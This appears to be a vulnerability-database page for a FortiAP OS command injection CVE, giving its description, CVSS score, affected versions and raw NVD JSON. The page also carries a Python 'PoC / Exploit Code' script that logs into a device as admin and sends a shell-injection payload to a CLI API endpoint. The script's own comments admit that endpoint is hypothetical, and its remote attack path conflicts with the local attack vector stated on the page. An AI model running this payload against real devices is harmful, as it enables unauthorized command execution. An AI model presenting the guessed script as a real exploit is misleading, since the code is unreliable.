Security Vulnerability Report
中文
CVE-2025-53870 CVSS 6.7 MEDIUM

CVE-2025-53870

Published: 2026-05-12 18:16:36
Last Modified: 2026-05-12 18:57:02

Description

An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiAP 7.6.0 through 7.6.2, FortiAP 7.4.0 through 7.4.5, FortiAP 7.2 all versions, FortiAP 7.0 all versions, FortiAP 6.4 all versions, FortiAP-W2 7.4.0 through 7.4.4, FortiAP-W2 7.2 all versions, FortiAP-W2 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via a specifically crafted cli command.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FortiAP 7.6.0 - 7.6.2
FortiAP 7.4.0 - 7.4.5
FortiAP 7.2 (所有版本)
FortiAP 7.0 (所有版本)
FortiAP 6.4 (所有版本)
FortiAP-W2 7.4.0 - 7.4.4
FortiAP-W2 7.2 (所有版本)
FortiAP-W2 7.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for OS Command Injection in FortiAP CLI. # The attacker needs High Privileges (Admin) to execute the CLI command. import requests import urllib3 # Disable SSL warnings for testing purposes urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(target_ip, username, password): session = requests.Session() login_url = f"https://{target_ip}/logincheck" # Step 1: Authenticate to the device (High Privileges Required) login_data = { 'username': username, 'secretkey': password } try: print(f"[*] Attempting to login to {target_ip}...") response = session.post(login_url, data=login_data, verify=False, timeout=10) if response.status_code != 200 or 'cookie' not in response.cookies: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Send crafted CLI command with injection payload # Example payload: executing 'id' command via injection # Note: The specific vulnerable endpoint is hypothetical based on the CVE description. exploit_url = f"https://{target_ip}/api/v2/monitor/system/cli" # The payload attempts to inject a command. # In a real scenario, the attacker identifies the specific vulnerable command. payload = "execute some-vulnerable-cmd; id #" headers = { 'Content-Type': 'application/json' } # Constructing the payload data structure typical for FortiOS API payload_data = { "command": payload } print(f"[*] Sending payload: {payload}") exploit_response = session.post(exploit_url, json=payload_data, headers=headers, verify=False, timeout=10) if exploit_response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:") print(exploit_response.text) else: print(f"[-] Exploit request failed with status code: {exploit_response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Replace with actual target details target = "192.168.1.1" user = "admin" pwd = "password" exploit(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53870", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:36.140", "lastModified": "2026-05-12T18:57:02.307", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiAP 7.6.0 through 7.6.2, FortiAP 7.4.0 through 7.4.5, FortiAP 7.2 all versions, FortiAP 7.0 all versions, FortiAP 6.4 all versions, FortiAP-W2 7.4.0 through 7.4.4, FortiAP-W2 7.2 all versions, FortiAP-W2 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via a specifically crafted cli command."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-133", "source": "[email protected]"}]}}